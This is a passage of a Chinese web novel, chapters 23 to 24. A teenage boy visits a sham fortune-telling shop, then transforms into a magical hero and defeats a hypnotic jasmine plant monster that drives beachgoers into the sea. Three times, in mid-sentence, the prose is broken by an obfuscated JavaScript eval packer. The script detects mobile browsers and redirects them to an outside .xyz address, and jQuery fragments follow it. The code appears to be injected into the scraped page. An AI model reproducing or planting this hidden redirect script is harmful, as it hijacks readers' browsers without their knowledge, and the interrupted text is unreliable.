后者被他这副宛如小动物一般的机警模样可爱到了,将胳膊抽了出来,直接将人半揽进怀里,一边往里走,一边安慰道:“不用怕,都是糊弄人的。” 遥控门,变声器,还有矫情的文字,只要明白这些把戏背后的真相,就一点都不可怕了。 罗乐安也反应过来了这点,连忙撤回了一个紧张,站直身子,有些尴尬地清了清嗓子。 “咳,我才没有害怕,我就是配合一下这里的氛围而已。” 温朗没有戳穿他的借口,而是扭头打量占卜屋内的布置。 倒的确是很值得害怕一下的氛围。 正对大门的是一条长长的走廊,黑乎乎的,照明只靠墙壁上的两排蜡烛——大概是出于消防安全的考虑,用的是电子蜡烛,僵硬的光线感觉比普通蜡烛还要阴森。 走廊看似遥遥无尽头,但实际上总共也就二十多米,没几步就到头了。 一路都没异状,没想到会在尽头处冷不丁地被吓一大跳。 “嗬——” 看着突然出现在视野里、穿着一身黑色斗篷的神秘人,罗乐安狠狠倒抽了一口凉气,要不是有温朗撑着,整个人大概都要坐地上了。 “你、你是人是鬼!” 黑衣人并没有理会他有些破音的质问,而是尽职尽责地cue流程。 “欢迎光临,莫伊拉大人正在我身后的房间里静候有缘之人,不过只有持有‘预约券’的人才能去找她,陪同的人请到我右手边的休息室等待。” 依旧是雌雄莫辨的沙哑声音,只是罗乐安和温朗这个时候并没有心情去推断变声器在哪儿。 “莫伊拉?名字怎么这么怪?” “只能他自己一个人吗?我进去不说话不可以吗?” “……”黑衣人沉默了两秒,没有回答罗乐安的问题,只说道,“一次只能进一人,不然会影响莫伊拉大人的能量纯度。” 听到这话,温朗皱起眉,他总觉得这地方怪怪的,不是很放心乐乐一个人进去。 奈何后者根本没有察觉到他的担心,反倒对这样的安排欣然接受。 尽管罗乐安是有那么一丢丢怕怕,只是这里的一切实在是太符合他对占卜屋的想象了,怎么能让他不激动呢? “安啦安啦~” 他拍拍温朗的手臂,“熊哲不是说了吗?这里开了好久了,不会有什么问题的。对了,那个‘莫伊拉’是啥啊?你知道吗?” “……应该是希腊神话里的命运三姐妹。” “袜~阿朗你果然什么都知道!那我就先进去啦,你好好等我哈~” 说罢,罗乐安就一蹦一跳地进到里屋,见他如此雀跃,温朗叹了口气,一个人去到了旁边的休息室。 总觉得有什么事情要发生,希望对方就只是个普普通通的骗子。 另一边的罗乐安对自己那个竹马的过度脑补一无所知。 他甫一进门,就被震住了。 屋内和走廊一样都没有灯,甚至连电子蜡烛都没有,整个房间都黑漆漆的,看不到里面的陈设,更看不清是否有人。 不过等他大着胆子将房门关上后,屋里的情况又有了新变化。 原本漆黑的屋子里开始出现了点点星光。 是的。 就是星光。 不知是投影还是什么别的新技术,四周的墙壁,还有地板、天花板上一点一点浮现出或紫或粉或蓝的光点,像是被无形的潮汐推动着,流淌,旋转,汇聚成碎钻一般的璀璨星河,然后却在下一秒,骤然散去,留下转瞬即逝的梦幻轨迹,又在别处再次汇聚。 大手笔啊! 罗乐安微张着嘴巴四处打量,差点都忘记正事了。 还好房间中央突然发出耀眼的蓝色光芒,光芒之璀璨,衬得周围的星光黯然失色,也让失神的人回过神来。 他定睛一看,就见发光的是一个水晶球,就放在房间中央的一张复古小几上,而对面,不知何时坐了一个女人,头戴面纱,一副神秘莫测的模样。 “啊!你就是那个‘伊莫拉’吗?” “……我叫莫伊拉。” 看着一屁股坐在自己对面椅子上的少年,占卜师深吸了一口气,这才开口订正对方的称呼。 “好啦好啦,差不多差不多~” 罗乐安无所谓地摆摆手,“现在可以开始占卜了吧?我想问问,这一带最近有没有发生什么奇怪的事呀?比如,有没有人莫名其妙失忆什么的?” “……我这里不是警察局,也不是侦探事务所。” 莫伊拉已经快撑不住自己高冷神秘的模样了,她现在一心只想扶额送客。 幸好罗乐安没有继续纠缠。 “好吧,看来在你这里我是找不到答案了——可你不是非常厉害的占卜师吗?怎么什么都不知道?这样也能开店吗?” 莫伊拉:“……” 她的预约券,到底都是被什么人拿到的啊! 强忍住扔水晶球的冲动,她闭上眼睛,沉默了大概一分钟后,终于再次开口。 “你的身体里,有星辰的力量。” 这话终于有点意思了,罗乐安闻言,立马支棱起身体。 不过还没等他开口细问,对面就打断了他。 “好了,您可以出去了。” ??? 听到这话,罗乐安满头问号。 “喂喂喂,这才刚开始吧!就结束了?太敷衍了吧!” 然而任他如何抱怨,这个叫莫伊拉的女人送客的态度依旧很坚定,甚至还关了星辰投影,只留了门口一盏灯。 毕竟是免费的,罗乐安也不好闹得太过,便只撅了撅嘴巴,最后还是乖乖起身。 不过在离开前,他又问了一句,“请问洗手间在哪里?” 见他态度良好,没有闹事纠缠,莫伊拉也就没为难他。 “出门右拐。” 那不就是休息室对面的屋子吗? 罗乐安一边在心里想象房屋结构,一边摸黑蹭到门边,压下把手。 出去之后他没有看到之前那个黑衣人,有一丢丢好奇,但是洗手间对他的召唤更加强烈,便还是先拐进右手边的房间。 卫生间的布置倒没其他地方那么阴森,虽然光线依旧昏暗,可陈设都正常,没有出现什么“骷髅水龙头”这种奇形怪状的玩意儿,让罗乐安松了口气,伸手点了点挂在自己胸前的游戏机吊坠。 “丧丧,你觉得这个莫伊拉还是伊莫拉的人,靠谱吗?有魔力吗?” 如果有,他可以考虑再去聊一次。 只是他等了有两三分钟,丧丧都没有反应,宛如死物。 “算了,看来是真的在乱说,故弄玄虚。” 他从卫生间出来后,依旧没看到那个黑衣人,他在心里对这种公然摸鱼的行为表示羡慕,一边准备自己去休息室找人。 只是还没走几步,就先被占卜室里传出来的声音吸引了注意力。 这里的墙壁和门隔音都很好,通常来说他是听不到里面的声音的,只是屋里的人嗓门太大,以至于他还是听到了些动静。 而为了听得更清楚,他整个人趴到了门上。 咳,他不是为了八卦,就是想知道这个占卜师是不是对每个人都那么敷衍而已。 “……胡说八道!你个骗子!” 耳朵刚贴到门板上,就听到一个中气十足同时气急败坏的声音,在屋里破防大喊。 “……滚犊子!老子之前找其他人算过,在这里明明能谈成大生意,怎么到你嘴里就得破财免灾了!想坑我的钱,没门!退钱!不然我这就去监管部门告你去!” 听着似乎要闹大了,罗乐安也收起了八卦的心思,赶忙站直身子,将休息室里的温朗拽了出来,急匆匆就往外走。 后者对此很不解,不过见对方神色慌张,似乎是真的有什么大事发生了,便也没多嘴。 直到出了店门,两个人拐进旁边的巷子里,他才没忍住开口问道:“这是怎么了?里面的人是不是对你……” “没有没有~”罗乐安摆摆手打断他。 “我没事,不过这家店大概率是骗人的,我后面进去那个人脾气不太好的样子,发现自己被骗了正在里面发脾气,我这不是害怕一会儿打起来波及到咱们嘛,所以赶紧出来。” 话音刚落,像是在印证他的话一般,巷子隔壁突然传来一声巨响,紧接着就是各种撕吧的动静。 “感觉,老穗和小葵那两张券是用不上了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110771|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗乐安有些遗憾地摇摇头,然后探出头,“隔岸观火”。 就见那家占卜屋门口站了两个人,一个是依旧包裹严实的黑衣人助理,另一个则是西装革履的中年男性,可以说是一个赛一个的耐热。 “用不上就用不上吧。” 温朗将罗乐安的小脑袋压了回来,拉着人往巷子另一端走。 “顺便还可以用这件事再‘敲诈’熊哲一笔。” “对哦~那我要吃海胆!不限量供应的那种!” 一说到吃的,罗乐安立马忘记了占卜屋,主动勾起温朗的手臂,兴冲冲地从巷子出来往海边走。 “来来来我们去游泳,今天白天我要多消耗一些能量,这样晚上才能大吃特吃!” 整个白天都很顺利。 他们和任穗、常映月汇合后,游了泳,堆了沙堡,还骑了海上摩托艇,虽然最后下来的时候,罗乐安没控制好平衡直接掉水里了,但是并不影响他雀跃的心情,甚至因为没再发生什么诡异的事件差点都忘了谵蘖这回事。 这份好心情一直持续到晚上的露天海鲜烧烤趴——尽管海胆没办法无限量供应,不过每个人都得到了一个海胆手卷,已经很满足了。 “我这次可真的是大出血啊……” 熊哲一边翻着铁板上的大鱿鱼,一边叹气。 “哎呀~” 罗乐安用没沾到油的手掌根给了熊哲肩膀一杵子。 “不要这么想嘛~虽然你失去了宝贵的金钱,但是你收获了我们的友谊呀~” 他这并不是不走心的搪塞,而是真心实意这么想的。 虽然昨天白天他们几个被熊哲“哄骗利用”,可他也没想到熊哲竟然真的没耍赖,说请客就请客,甚至真的因为占卜屋的预约券暂时无法使用而特意去买了海胆。 就冲这份言而有信的高贵品质,罗乐安都觉得这人还是值得深交的。 “你放心,”他一边说,一边又拿起一个小龙虾,“你对我们这么好,礼尚往来,等回头,我让阿朗给你补课。” “……” 熊哲闻言,给鱿鱼刷酱的动作不由得一顿。 “你这么恨我吗?海胆都不能让你原谅我?一场比赛而已,竟要下如此毒手!” 在此要特别说明一下,在场的所有人里,熊哲的成绩是最差的。 嗯,这个“所有人”也包括即将升入二年级的温霁,温小葵。 “不用慌,他瞎说的。” 温朗及时叫醒了熊哲的噩梦,转头给罗乐安递了一瓶冰雪碧,顺手又敲了敲对方的脑壳。 “还有你,别以为拉人垫背就能逃避补课,回去之后还是要该怎么样就怎么样,不然胡阿姨也不会放过你。” 听到他拉出胡女士,罗乐安缩了下脑袋,没再继续胡说八道,而是喝了口雪碧,转身面向大海,岔开话题。 “呼……夏天的海边真好,白天再怎么热,太阳落山之后就凉快了~” “是啊是啊~” 任穗吃完一个烤生蚝,接话道,“海风真舒服,还有花香,这里真好啊~” 罗乐安闻言,皱了皱鼻子,像小狗狗一般到处嗅嗅,还真在咸咸的海风和裹挟着蒜香、鲜香、以及焦香的炭火气中,闻到了一丝香甜的味道。 唔。 他歪着脑袋,眼睛上挑着,若有所思。 总感觉自己漏掉了什么重要的事。 不过很快他就没心思想这个了。 因为,铁板鱿鱼终于好了。 “万岁~终于可以吃啦!” 他迫不及待地从熊哲手里接过鱿鱼,结果动作太大,一不小心酱汁流到了自己手上。 “呼……呼!烫……烫!阿朗,你快帮我擦擦……” 小心地将鱿鱼换到左手后,罗乐安将脏乎乎的右手递到温朗面前。 后者无奈地叹了口气,到底还是答应为小竹马服务。 见他开始掏湿巾,罗乐安嘿嘿笑了一声,右手擎在半空,然后低头准备吃鱿鱼。 谁料还没等他咬到呢,身后突然传来“啪”一声巨响,吸引了他的注意。 他转头一看,就见不远处的石墩那里,有个男人蹲在那里,身旁是十几个啤酒瓶,看样子醉得不轻。 瞧见没什么事,罗乐安好奇心顿失,准备继续吃鱿鱼。 然而,就在他将脑袋转过来后,一阵幽香飘过,他看着手上的酱汁,直觉哪里不太对劲。 23. JASMINE⑤ 罗乐安发现,自己手上的酱汁,竟然没有丝毫被擦拭过的痕迹,这让他内心突然涌出一股不安。 不是他矫情,也不是他作妖,只是他非常清楚温朗的性格,对方绝对不是那种喜欢看热闹的人,因此按理说,也不会受到刚刚那个声音影响。 可是现在……是被什么其他事情影响了吗? “阿朗……”他抬起头想要询问,却发现温朗此时还举着右手,维持着之前的姿势,眼神迷离空洞,像是在走神。 “你怎么了,阿……” 后面的话,罗乐安没有再问。 因为他终于意识到哪里不对劲了。 太安静了。 明明上一秒还人声鼎沸的海滩,顷刻间鸦雀无声,空气中只有炭火的劈啪声和潮水冲刷沙滩的唰唰声。 他猛地起身,手上的铁板鱿鱼掉到地上了也都浑然不觉,只因为此刻的海滩,正在上演更恐怖的一幕。 不止是温朗,所有人——包括凑在一起笑着嘀嘀咕咕的任穗、常映月和温霁,包括举着两串铁板鱿鱼正要分享的熊哲,还包括刚刚蹲在那边搂着石墩子呕吐的那个男人——都像是被按下了静止键,脸上凝固着或开心或惊喜的表情,眼神却无比空洞,宛若一尊尊蜡像,排布在整个海边。 太渗人了。 罗乐安没忍住打了个哆嗦。 “丧丧……”他右手抚上胸前的挂坠,声音发紧,“这……是谵蘖搞的鬼吗?” 听到他的话,游戏机的屏幕亮了起来,只是罗乐安还没等到它回答,鼻子就先一步感受到了新的异样。 一股极为浓郁,甚至有些腻人的香气在空中弥漫开来,气势如虹,似乎是要把整片海都笼罩其中。 然后就在下一秒,丧丧开始发烫,与此同时,沙滩上的那些人动了。 所有人齐刷刷地收拢双臂,像是丧尸一般迈着僵硬又整齐划一的步伐,往海边走去。 “阿朗!” 罗乐安反应迅速地抓住了温朗的胳膊,后者听到他的声音后,动作停滞了几秒,然而终究还是没抵得住香气的侵扰,再次迈开了步子。 而且他的力气不知道是不是也被香气催化了,格外的大,都没没用挣扎和费力,就将还挂在手臂上的某个人给一起拖走了。 眼看离海水近的人已经趟进了水里,罗乐安终于反应过来这次谵蘖的能力,大概率不是消除记忆,而是催眠。 这么看来,现如今的局面不是凭一个普通人的力量就能制止得了的,他咬了咬嘴唇,松开拽着温朗的手。 “丧丧,变身器!” 他大喊道,紧接着丧丧的屏幕里射出一道蓝光,一个手柄变身器落到了他的手上。 “上上下下……” 拿到变身器后他第一时间就要变身,不过咒语刚起头,他就注意到一旁屋檐下的摄像头,迟疑了一瞬,而后快速退到监控的死角,继续把咒语念完。 “……L-R召唤!” 蓝光闪过,魔法少男闪亮登场。 只是并没有“观众”在意他的亮相,且现在也不是在意这个的时候。 他冲向海里,试图将海水已经没过腰间的人扛回去。 不过一个人的力量是有限的,这片海滩此刻怎么也有两三万人,用这种方式根本起不到什么作用。 可是他完全找不到谵蘖的影子。 这次和以往不同,植物并没有巨大化,换句话说,罗乐安失去了明显的标的。 再加上空气中的香味越来越浓,让他的头越来越晕…… 香味! 差点第三次错过这么重要的关键线索,这无疑让罗乐安很有挫败感,但是丧丧很及时地拯救了他糟糕的心情。 「香味本身就会影响你的判断,所以要先尽快消除气味。」 “我也想尽快啊,可是这是什么植物的香味呢?” 「是花香。」 “……你这个提示和没有有什么区别嘛!这里这么多花,饭店前面就种了好多茉莉……” 罗乐安气急败坏的声音戛然而止,因为他知道自己已经找到答案了。 “茉莉……茉莉……” 他冲回到路边,想要找到变异的谵蘖,然而这条街上的商户不知道是不是约好了,家家户户都种了茉莉,一眼望过去二三百米的距离大概能有一百多棵。 虽然很可能只有其中一棵香味格外浓郁,但真要他一棵棵闻过去,别说他的鼻子受不了,关键是海里的游客不一定有那么长的命,来等他用这种方式确认源头。 那用情绪感知呢? 是不是就能得到线索了? 想到这里,罗乐安强迫自己冷静,闭上眼睛,深呼吸,将脑海中被自己闭合的无形的开关,轻轻拨开。 霎时,纷乱的情绪如倾泻的洪水,肆意冲撞着他的大脑皮层。 也不知道是不是受到了谵蘖的影响,周围植物的情绪也被扩大化了,每一个都很激动,混乱,让他无从分辨。 他只能将开关再关上。 “呼……” 看来没有别的办法了,只有一条路可以走,宁可错杀一千,不能放过一个。 干脆,一网打尽好了。 做好决定,他向后跳远,同时召唤丧丧。 “手柄!” 拿到手柄后,他右手毫不迟疑地按下熟悉的按键,召唤出长剑。 “嗬——” 罗乐安向前高高跳起,双手持剑一个横劈,成功将距离自己最近花圃里的植物拦腰砍断,一棵不留。 攻击有效! 满地的残枝让他燃起了斗志,又连续砍了六七下,然后停了下来。 香味没有消失,也没有变淡。 而且——速度也还是太慢。 “簌簌……” 风自房顶向大海的方向吹去,拂过树叶发出阵阵声响,也吹乱了罗乐安蓝色的长发,同时打断了他的思考。 这个风向……应该不会出事吧,而且房子里的人在刚刚的时间里也已经都全部出来了。 赌一把吧! 他松开之前按住的按键,收起长剑,转而亮出弓和箭。 趁着东风还在,他要改火攻了。 一个起跳,他落到最近的路灯上,然后举弓对准了一家甜品店前的植物——这个花箱距离店铺的距离最远,也是最不容易波及到建筑物的选择。 罗乐安屏气凝神,只是尽管已经瞄准了目标,却还是迟迟没有放箭。 他还是担心这把火会不会酿成大祸。 最后让他下定决心的,是身后越来越多人下水的声音。 时间不等人,和人命相比,建筑的损毁还是更能承受。 “去吧!火焰箭!” 随着他的一声大喝橙红色的箭羽飞向那片花草,瞬间将满目绿色染成艳丽的火红。 紧接着下一秒,东风改南风,将这团火在几秒钟的时间里,直接烧到了温朗舅舅所开的民宿面前。 然后,香气的浓度骤然提升。 找到了! 罗乐安惊喜地瞪圆眼睛,可很快他就笑不出来了。 过浓的香气让他的神志开始变得不清晰,并且海滩上游客的前进速度,似乎也变快了。 好像,搞砸了。 他的呼吸越来越粗,越来越重,一个失神,就从路灯上跌落下来。 幸好落地前他短暂地清醒了过来,调整了姿势,最后是脚落地,除了左脚崴到,并没有其他地方受伤。 “嘶……” 这还是罗乐安战斗以来第一次受伤,而且可以说还是自己的失误造成的,并不是受到直接攻击导致的,所以情绪上他其实多少有些气闷。 只是受伤也有受伤的好处,从脚踝处传来的阵阵痛意,倒是让他能够一直保持清明,不会再受香气的干扰。 不过,这气味为什么会突然变浓了呢? 难道说刚刚他选对了,烧的刚好就是谵蘖,而这股爆发的香气,就是它的垂死挣扎? 烈火中,其他植物都燃烧殆尽,只有民宿门口那棵茉莉在火光之中依旧保持着翠嫩,看来真的是谵蘖无疑了。 可是,他根本没看出它垂死,也没看出它挣扎。 那怎么就突然发大招了呢! 罗乐安被还未熄灭的火焰逼得后退了三米,但灼人的空气还是一浪一浪地往他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124709|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上扑,烤得他满脸通红。 “热死了……” 他伸手想要擦掉额头的汗,擦到一半却突然意识到了问题的所在。 是温度。 高温让香气扩散得更多更快,以至于那些游客现在入海的速度堪比下饺子,噼里啪啦的。 所以当务之急,是要降温。 “丧丧!” 他单脚跳回到海边,顺手捞起几个身量不高的小朋友放到远处。 “有火焰箭的话,应该也有冰冻箭吧!快给我!能量不够的话……算我赊的!反正你要是不给我咱俩肯定彻底玩完,你就更别想消灭谵蘖回家乡了!” 大概是最后一句的威胁起作用了,丧丧没有丝毫含糊,一道冰蓝色的光从罗乐安胸口径直射出,落到他的右手上,带来阵阵凉意。 新能力到手,他没有一丝犹豫,直接举弓拉弦,瞄准了——海面。 R键松开,冰蓝色的箭羽破空而出,落入海中。 顷刻间,原本还来回起伏的潮水瞬间凝滞,刚卷起还未来得及碎开的浪花也被定在了空中,海水失去了流动的姿态,化作了透明的固体,在夕阳的余晖中,闪动着晶莹的光。 罗乐安趁热打铁,又向其他几个方向射了几箭。 太阳彻底落下,整片海在微蓝夜色中彻底安静下来,凉意逐渐弥漫,空气中腻人的香味,随着环境温度的下降,也开始有了消散的迹象。 “呼……” 努力了半天,终于获得转机,罗乐安长舒了一口气,只觉得刚刚被忽略的左脚的痛感又发作了,却并没有什么空闲时间放松下来揉脚。 因为游客们现在虽然没什么溺水的危险,可时间如果拖太久,容易冻坏。 所以还是得抓紧时间解决那棵茉莉谵蘖。 他转身准备重返战场中心,正要起跳,余光却在沙滩边缘瞥见了一个人,当即停下了脚步。 是温朗。 而且是清醒的,正摸着脖子、有些困惑观察周围情况的温朗。 大概……是香味变淡,所以对人神志的控制力也减弱了。 罗乐安眼睛一转,大概想明白了原因,至于为什么周围那么多人,醒的只有温朗,最大的可能,就是温朗这个人意志比一般人坚定,如此才会受控慢,解控快。 不过现在不是夸奖对方的时候,这种时候清醒,谁都说不好是福还是祸。 当然,如果这个人是自己的学霸竹马,大概不至于变成遭人恨的“猪队友”,只是出于安全考虑,还是把人往外挪挪才更安心。 想到这里,罗乐安转过身,朝向已经开始察觉不对,表情变得凝重的温朗走去。 “放心,我会解决的。” 温朗捏着眉心,正在思考到底发生了什么,突然就听到耳边传来一个低哑的声音,很像是有人在压着嗓子说话。 抬头一看,就见身旁不知什么时候多了一个……怪人。 这人服装怪异,带着假面,蓝色的长发还是反重力的,发尾和刘海卷翘的弧度,也不知道要逼死多少毛娘。 是的,就是二次元做假发的那个毛娘——温朗发自真心地觉得这人是刚从漫展上跑来的coser。 但是这位coser并不清楚自己所想,似乎还沉浸在角色中。 “你先带着你的同伴去南边,离海远一点的地方,那里要更安全些。” 听到这话,温朗马上也顾不得分析状况和面前的怪人了,只想马上去找罗乐安。 然而就在他想要离开的时候,惊奇地发现自己动不了,低头一看,就见自己的双脚都冻在海水里。 也就是他体质好,这么久才注意到。 面前那位“魔法少女”打扮的怪人此刻也注意到了温朗的异状,于是用右手撑在后者的肩膀上,然后抬起右脚,向下用力一踏。 冰面瞬间碎裂。 见他获得自由,这人没再停留,几个跳跃就落到了远处闪着火光的地方。 至于温朗,他并没有马上离开,而是扭过头,若有所思地看向对方刚刚搭手的肩膀。 鼻头轻嗅。 总觉得……自己好像闻到了铁板鱿鱼的味道。 24. JASMINE⑥ 罗乐安并不知道,只是因为自己的贪嘴,他的马甲就已经在掉落的边缘摇摇欲坠了。 现在在他心里最迫在眉睫的,就是消灭这棵谵蘖,守护世界的和平。 以及一众小伙伴们,还有海滩这里几万人的安全。 大概是温朗清醒的状态给了他一些压力,原本有些娇气气的人都没心思管越来越疼的左脚,落地之后,见火势将歇,没有一丝的犹豫,径直召唤出了剑盾。 准备快刀斩乱麻。 然而尽管他的剑够快,对面的谵蘖却不是乱麻。 一剑砍过去,那棵其貌不扬的茉莉纹丝不动,毫发无损。 和之前的圆叶风铃草不同,当时是因为藤蔓柔软不好受力,加上外皮坚韧,所以攻击才没有效果。 而这次失败,则纯粹是因为这棵谵蘖,足、够、坚、硬。 “嘶……” 甩了甩被震得发麻的右手,罗乐安皱起眉,不信邪地举起右手,右脚施力起跳,从高空再次狠狠劈下。 可是,尽管他已经再次加重了力气,结果却还是和之前一样,受伤的只有他越来越疼的脚踝,以及快抽筋的右手。 甚至有些脱力,差点就抓脱手柄。 “可恶!混蛋!” 他没忍住,大吼发泄了一声。 火烧不尽,剑砍不断,简直比网上的大学生还难杀! 只是情况,并没有因为他的叫骂而得到改善。 受到海水结冰的影响,周围的环境温度并不高,也就十度上下。 但即使这样,罗乐安的额头还是布满了汗水。 有身体不适的缘故,然而更多的原因,还是因为焦虑。 茉莉开始抽新芽,展新叶,打花苞。 然后,香气又出现了。 虽然比不上之前浓郁,不过只要给它充足的时间,之前的那一幕,想必还会再次上演。 到那个时候,他可不确定自己还有没有体力和精力,让海面再冻结一次。 “丧丧……” 实在是想不出解决办法,走投无路的罗乐安只好开口求助。 然而还没等他得到丧丧的回复,身后就响起了一个熟悉的声音。 “你要不要先让它冻住,再砍它试试呢?” 他闻声扭过头,就见温朗不知在什么时候,已经走到了距自己大概五米远的地方。 “你、你怎么到这儿来了!” 因为吃惊,罗乐安甚至忘记伪装声线,清亮的声音让对面的人不禁眸色一暗。 可前者并没有注意到后者神情有变,一心只想让人快点离开。 “这里非常危险,你快离开,小心等下受伤!” 可惜温朗并没有乖乖听他的话,依旧固执地站在那里。 “你……要不还是先试试看我的建议吧,冻住,再砍,说不定会有效——别再犹豫了,那个香味……我,我好像,又快撑不住了……” 说着,他的身体就开始像喝醉了一般,东倒西歪,站立不稳。 罗乐安见状,向前想要将人扶住,却在大跨一步后停了下来,犹豫了两秒,还是转回身,面对那株更加繁茂、满枝头尽是花苞的茉莉谵蘖。 试试看吧,就算没用,冻上了至少还能封锁一下香气。 “往旁边去一点,别误伤你!” 做好决定后,他向后一跃,又落到了路灯上,同时指挥温朗远离这里。 见后者终于听话,强打精神,迈着横七竖八的步伐乖乖退到了二十米开外后,罗乐安深吸一口气。 举起双臂,左手在前,摆出拉弓射箭的姿势,接着按动手柄,切换攻击模式。 一把银色的弓和冰蓝色的箭取代了原本的盾牌和长剑,闪着幽光的箭矢对准了繁茂近乎妖冶的谵蘖。 双方进入了僵持。 罗乐安的犹豫源于谵蘖诡异的生长速度。 才短短几句话的时间,这棵茉莉的枝条就已经抽出了很长,蔓延到了民宿的外墙上,像老建筑外墙的爬墙虎一样,几乎是要把整个门口都包裹起来。 谁都说不好这些枝条会不会成为“风铃草第二”,如果真的开发出了全新的物理攻击,以他现在的“残疾”状态,他可不能保障自己能够全身而退。 更何况,这次对方的攻击范围内,还有不少动弹不得的人质,这就让他更加不敢轻举妄动了。 至于谵蘖为什么也不动…… 他想,大概是这冰冻箭真的对其有威慑,不然对方原本喜人的长势,也不会突然就被按下了暂停键。 最后,打破僵局的,还是一个——之前出现过的熟人。 “嗯……我的……我的钱……钱啊哼哼……” 不远处,那个原本抱着石墩子的醉鬼,不知道什么时候醒了,正抄起一旁的空酒瓶,边往嘴里倒边怨气冲天地哼哼唧唧。 而这一幕,就像是给谵蘖发射了信号似的。 原本无动作的静态枝条,瞬间集体朝着罗乐安的方向猛地窜去,而枝条上的所有花芽同步开放,大有要把人牢牢裹住之后,将其熏死的架势。 好在罗乐安的注意力一直紧绷着,没有丝毫地松懈,也因此在谵蘖发动进攻的瞬间,他就第一时间松开了R键,一道冰蓝色的疾光霎时从手头飞出,正中谵蘖靠近根部的主干。 伴随着一丝极细的银瓶炸裂般的声响,谵蘖开始结冰。 从基部开始,原本浅白的粗糙枝干逐渐被冰壳遮裹,同时冻住的还有隐藏在树皮之下的诡异能量。 寒气逐步向上,冰霜如蛇一般蜿蜒缠绕住枝条,飞窜在最前头的枝条在即将击中罗乐安的眼睛之时,堪堪停住,连末梢的叶片也被冻得结结实实。 冻僵的枝条被冰壳的重量压得微微垂首,远处海风吹来,枝条的末梢随风晃动着,然后,叶子与枝干连接的最纤细处,断了。 真的有用! 见此情景,罗乐安没有丝毫犹豫,手腕一甩换回剑盾,右脚用力踩下,从路灯向上起跳,紧接着,自二十米高的空中用力向下挥剑。 这一次,他的攻击终于奏效了。 原本坚不可摧的谵蘖,被他成功一劈为二。 顷刻间,他的眼前红雾弥漫。 成了! 罗乐安满脸都是欣喜的表情,而心中除了雀跃,却还有一个更为坚定的念头。 相信学霸,不走弯路。 相信朗哥,方得永生。 不过现在还不是放松的时候,尽管地表的谵蘖已经被他摧毁,可根系还扎根在土壤里,这才没过几分钟,谵蘖原本所在位置的土地上,就已经抽出了新芽。 好在刚刚那一击,丧丧应该已经吸收到了足够的能量,所以没等他招呼,胸口的手柄就已经投射出了净化蓝光。 “L-R同步!域外之物,消散!” 谵蘖在蓝色光球中逐渐消散,与此同时,静谧了许久的海滩重新热闹了起来,而且因为人多,再加上好多人发现自己在海里,又和同伴分散了,吵嚷的程度比之前还要厉害。 以至于罗乐安并没有听太清楚这次谵蘖消失的时候,一同在他脑袋里响起的诡异哀嚎。 隐约只捕捉到了几个关键字,像是“钱啊”“命啊”什么的,信息太少,他都拼不成句。 不过也无所谓,反正守护世界和平的任务圆满成功,他可以功成身退了~ 他弯下腰,从谵蘖消失的坑洞里捡起一枚表面光滑有光泽的深紫色小圆球。 这应该就是茉莉的种子,要不是表面附着一层淡淡的红光,还真的是很难发现。 确认现场再无遗漏,罗乐安准备好撤退。 然而还没等他起跳,身后就又响起了一个熟悉的声音。 还是温朗。 “那个……” 罗乐安转过身,就见对方皱着眉,神情紧张又不安,还时不时转头四下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136529|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻摸,像是在找什么东西。 或者人。 该不会……是在找他吧?! 这个猜测让罗乐安眼睛直接大了一圈,不过光线昏暗,又有面具遮挡,一般人并不会注意到。 “请问你有没有看到一个……” “啊,是你!” 用状似惊喜的声音打断了温朗的询问后,罗乐安先发制人,“你的建议很好用,谢谢你呀~我还有事先走了,后会有期!” 谨慎起见,他又压低嗓音,同时眼睛微微向下瞥,避免了与对方的眼神对视。 只是他光记得隐藏眼神,忘记隐藏本能,因此在说“谢谢”的时候,头顶的呆毛条件反射动了起来,等他反应过来的时候,“心”已经比完了。 emmm…… 算了,反正他一发现,就让大毛和二毛就分开了,天还这么暗,温朗应该也没看清…… 总之,先溜为上! 思及此,他担心又露马脚,不敢再耽搁,起身一跃跳到房后,找了个没人没监控的地方解除变身,然后又一瘸一拐绕到海滩上,最后顺着人流往民宿方向走去。 一路上,罗乐安看到不少跟伙伴走散的人在拼命瓜分有限的信号打电话。 还有许多小朋友,因为他的提前“打捞”,导致跟父母分开,正在沙滩上哭泣,幸好他之前选了游客中心作为临时打捞点,所以二次走散情况倒是没有出现。 这次的谵蘖虽然没造成什么伤亡,可是引发的混乱以及后续影响,似乎比上次在商场还要大。 可恶! 下一次,他一定要赶在事态恶化前,就把谵蘖解决掉! 不过尽管后续的收尾工作,繁琐又浩大,却和他们几个未成年并无多大关系。 罗乐安是在民宿门口,找到先他一步汇合的温朗等人的。 